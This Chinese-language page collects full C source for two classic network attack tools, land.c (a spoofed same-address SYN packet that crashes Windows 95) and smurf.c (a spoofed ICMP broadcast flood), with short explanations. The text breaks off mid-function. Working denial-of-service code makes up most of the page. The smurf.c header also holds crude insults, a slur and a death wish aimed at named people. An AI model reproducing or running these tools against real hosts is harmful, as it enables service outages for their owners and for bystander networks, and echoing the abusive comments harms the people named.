以前常用的几个攻击网络的程序代码

              		常用攻击程序

Abstract
	这里有一些是老的，现在看来并没有用，但他们都很有名。

1 Land

攻击一台Win95的机器。这是Win95的一个漏洞，以其IP地址和端口向自
己的同一个端口发起连接（发SYN），Win95即会崩溃。


/* land.c by m3lt, FLC
   crashes a win95 box */

#include <stdio.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>

//用于TCP校验和的伪头
struct pseudohdr
{
        struct in_addr saddr;
        struct in_addr daddr;
        u_char zero;
        u_char protocol;
        u_short length;
        struct tcphdr tcpheader;
};

//计算IP校验和
u_short checksum(u_short * data,u_short length)
{
        register long value;
        u_short i;

        for(i=0;i<(length>>1);i++)
                value+=data[i];

        if((length&1)==1)
                value+=(data[i]<<8);

        value=(value&65535)+(value>>16);

        return(~value);
}


int main(int argc,char * * argv)
{
        struct sockaddr_in sin;
        struct hostent * hoste;
        int sock;
        char buffer[40];
        struct iphdr * ipheader=(struct iphdr *) buffer;
        struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct iphdr));
        struct pseudohdr pseudoheader;

        fprintf(stderr,"land.c by m3lt, FLC\n");

        if(argc<3)
        {
                fprintf(stderr,"usage: %s IP port\n",argv[0]);
                return(-1);
        }

        bzero(&sin,sizeof(struct sockaddr_in));
        sin.sin_family=AF_INET;

        if((hoste=gethostbyname(argv[1]))!=NULL)
                bcopy(hoste->h_addr,&sin.sin_addr,hoste->h_length);
        else if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)
        {
                fprintf(stderr,"unknown host %s\n",argv[1]);
                return(-1);
        }

        if((sin.sin_port=htons(atoi(argv[2])))==0)
        {
                fprintf(stderr,"unknown port %s\n",argv[2]);
                return(-1);
        }
	
		//new一个SOCK—RAW以发伪造IP包 这需要root权限
        if((sock=socket(AF_INET,SOCK_RAW,255))==-1)
        {
                fprintf(stderr,"couldn't allocate raw socket\n");
                return(-1);
        }

        bzero(&buffer,sizeof(struct iphdr)+sizeof(struct tcphdr));
        ipheader->version=4;
        ipheader->ihl=sizeof(struct iphdr)/4;
        ipheader->tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr));
        ipheader->id=htons(0xF1C);
        ipheader->ttl=255;
        ipheader->protocol=IP_TCP;

		//目的IP地址和源IP地址相同
        ipheader->saddr=sin.sin_addr.s_addr;
        ipheader->daddr=sin.sin_addr.s_addr;
	
		//目的TCP端口和源TCPIP端口相同
        tcpheader->th_sport=sin.sin_port;
        tcpheader->th_dport=sin.sin_port;
        tcpheader->th_seq=htonl(0xF1C);
        tcpheader->th_flags=TH_SYN;
        tcpheader->th_off=sizeof(struct tcphdr)/4;
        tcpheader->th_win=htons(2048);

        bzero(&pseudoheader,12+sizeof(struct tcphdr));
        pseudoheader.saddr.s_addr=sin.sin_addr.s_addr;
        pseudoheader.daddr.s_addr=sin.sin_addr.s_addr;
        pseudoheader.protocol=6;
        pseudoheader.length=htons(sizeof(struct tcphdr));
        bcopy((char *) tcpheader,(char *) &pseudoheader.tcpheader,sizeof(struct tcphdr));
        tcpheader->th_sum=checksum((u_short *) &pseudoheader,12+sizeof(struct tcphdr));

        if(sendto(sock,buffer,sizeof(struct iphdr)+sizeof(struct tcphdr),
				  0,(struct sockaddr *) &sin,sizeof(struct sockaddr_in))==-1)
        {
                fprintf(stderr,"couldn't send packet\n");
                return(-1);
        }

        fprintf(stderr,"%s:%s landed\n",argv[1],argv[2]);

        close(sock);
        return(0);
}


2 Smurf
     smurf攻击是很简单的，它有一些IP（广播地址）地址列表，发出了一些伪造的数
据包（ICMP echo request）从而导致一场广播风暴，可以使受害主机（使它成为伪造包
的源地址）崩溃。

    受害者有两种：中间的设备（bounce sites 交换机或路由器）和被伪装的IP（那些
icmp echo的包都被发给它）。这种攻击依赖于路由器把一个广播地址转化为一广播桢
（如Ethernet, FF:FF:FF:FF:FF:FF），RFC中允许这种转换，但在今天看来是不需要的。

    可以使你router停止转换第三层的广播（IP）到第二层的广播（Ethernet）。

    但是Smb服务器或NT需要远程广播使LAN知道它的存在，但在路由器的上述配置会使这变
成不可能（没有WINS服务器时）。

/*
 *
 *  $Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $
 *
 *  spoofs icmp packets from a host to various broadcast addresses resulting
 *  in multiple replies to that host from a single packet.
 *
 *  mad head to:
 *     nyt, soldier, autopsy, legendnet, #c0de, irq for being my guinea pig,
 *     MissSatan for swallowing, napster for pimping my sister, the guy that
 *     invented vaseline, fyber for trying, knowy, old school #havok, kain
 *     cos he rox my sox, zuez, toxik, robocod, and everyone else that i might
 *     have missed (you know who you are).
 *
 *     hi to pbug, majikal, white_dragon and [e-mail] for being the sexy
 *     thing he is (he's -almost- as stubborn as me, still i managed to pick up
 *     half the cheque).
 *
 *     and a special hi to Todd, face it dude, you're fucking awesome.
 *
 *  mad anal to:
 *     #madcrew/#conflict for not cashing in their cluepons, EFnet IRCOps
 *     because they plain suck, Rolex for being a twit, everyone that
 *     trades warez, Caren for being a lesbian hoe, AcidKill for being her
 *     partner, #cha0s, sedriss for having an ego in inverse proportion to
 *     his penis and anyone that can't pee standing up -- you don't know what
 *     your missing out on.
 *
 *     and anyone thats ripped my code (diff smurf.c axcast.c is rather
 *     interesting).
 *
 *     and a HUGE TWICE THE SIZE OF SOLDIER'S FUCK TO AMM FUCK YOU to Bill
 *     Robbins for trying to steal my girlfriend.  Not only did you show me
 *     no respect but you're a manipulating prick who tried to take away the
 *     most important thing in the world to me with no guilt whatsoever, and
 *     for that I wish you nothing but pain.  Die.
 *
 *  disclaimer:
 *     I cannot and will not be held responsible nor legally bound for the
 *     malicious activities of individuals who come into possession of this
 *     program and I refuse to provide help or support of any kind and do NOT
 *     condone use of this program to deny service to anyone or any machine.
 *     This is for educational use only. Please Don't abuse this.
 *
 *  Well, i really, really, hate this code, but yet here I am creating another
 *  disgusting version of it.  Odd, indeed.  So why did I write it?  Well, I,
 *  like most programmers don't like seeing bugs in their code.  I saw a few
 *  things that should have been done better or needed fixing so I fixed
 *  them.  -shrug-, programming for me as always seemed to take the pain away
 *  ...
 *
 *
 */

#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <netdb.h>
#include <ctype.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <string.h>

void banner(void);
void usage(char *);
void smurf(int, struct sockaddr_in, u_long, int);
void ctrlc(int);
unsigned short in_chksum(u_short *, int);

/* stamp */
char id[] = "$Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $";

int main (int argc, char *argv[])
{
   struct sockaddr_in sin;
   struct hostent *he;
   FILE   *bcastfile;
   int    i, sock, bcast, delay, num, pktsize, cycle = 0, x;
   char   buf[32], **bcastaddr = malloc(8192);

   banner();
   signal(SIGINT, ctrlc);

   if (argc < 6) usage(argv[0]);

   if ((he = gethostbyname(argv[1])) == NULL) {
      perror("resolving source host");
      exit(-1);
   }
   memcpy((caddr_t)&sin.sin_addr, he->h_addr, he->h_length);
   sin.sin_family = AF_INET;
   sin.sin_port = htons(0);

   num = atoi(argv[3]);
   delay = atoi(argv[4]);
   pktsize = atoi(argv[5]);

   if ((bcastfile = fopen(argv[2], "r")) == NULL) {
      perror("opening bcast file");
      exit(-1);
   }
   x = 0;
   while (!feof(bcastfile)) {
      fgets(buf, 32, bcastfile);
      if (buf[0] == '#' || buf[0] == '\n' || ! isdigit(buf[0])) continue;
      for (i = 0; i < strlen(buf); i++)
          if (buf[i] == '\n') buf[i] = '\0';
      bcastaddr[x] = malloc(32);
      strcpy(bcastaddr[x], buf);
      x++;
   }
   bcastaddr[x] = 0x0;
   fclose(bcastfile);

   if (x == 0) {
      fprintf(stderr, "ERROR: no broadcasts found in file %s\n\n", argv[2]);
      exit(-1);
   }
   if (pktsize > 1024) {
      fprintf(stderr, "ERROR: packet size must be < 1024\n\n");
      exit(-1);
   }

   if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
      perror("getting socket");
      exit(-1);
   }
   setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *)&bcast, sizeof(bcast));

   printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]);

   for (i = 0; i < num || !num; i++) {
      if (!(i % 25)) { printf("."); fflush(stdout); }
      smurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize);
      cycle++;
      if (bcastaddr[cycle] == 0x0) cycle = 0;
      usleep(delay);
   }
   puts("\n\n");
   return 0;
}

void banner (void)
{
   puts("\nsmurf.c v4.0 by TFreak\n");
}

void usage (char *prog)
{
   fprintf(stderr, "usage: %s <target> <bcast file> "
                   "<num packets> <packet delay> <packet size>\n\n"
                   "target        = address to hit\n"
                   "bcast file    = file to read broadcast addresses from\n"
                   "num packets   = number of packets to send (0 = flood)\n"
                   "packet delay  = wait between each packet (in ms)\n"
                   "packet size   = size of packet (< 1024)\n\n", prog);
   exit(-1);
}

void smurf (int sock, struct sockaddr_in sin, u_long dest, int psize)
{
   struct iphdr *ip;
   struct icmphdr *icmp;
   char *packet;

   packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
   ip = (struct iphdr *)packet;
   icmp = (struct icmphdr *) (packet + sizeof(struct iphdr));

   memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);

   ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
   ip->ihl = 5;
   ip->version = 4;
   ip->ttl = 255;
   ip->tos = 0;
   ip->frag_off = 0;
   ip->protocol = IPPROTO_ICMP;
   ip->saddr = sin.sin_addr.s_addr;
   ip->daddr = dest;
   ip->check = in_chksum((u_short *)ip, sizeof(struct iphdr));
   icmp->type = 8;
   icmp->code = 0;
   icmp->checksum = in_chksum((u_short *)icmp, sizeof(struct icmphdr) + psize);

   sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize,
          0, (struct sockaddr *)&sin, sizeof(struct sockaddr));

   free(packet);           /* free willy! */
}

void ctrlc (int ignored)
{
   puts("\nDone!\n");
   exit(1);
}

unsigned short in_chksum (u_short *addr, int len)
{
   register int nleft = len;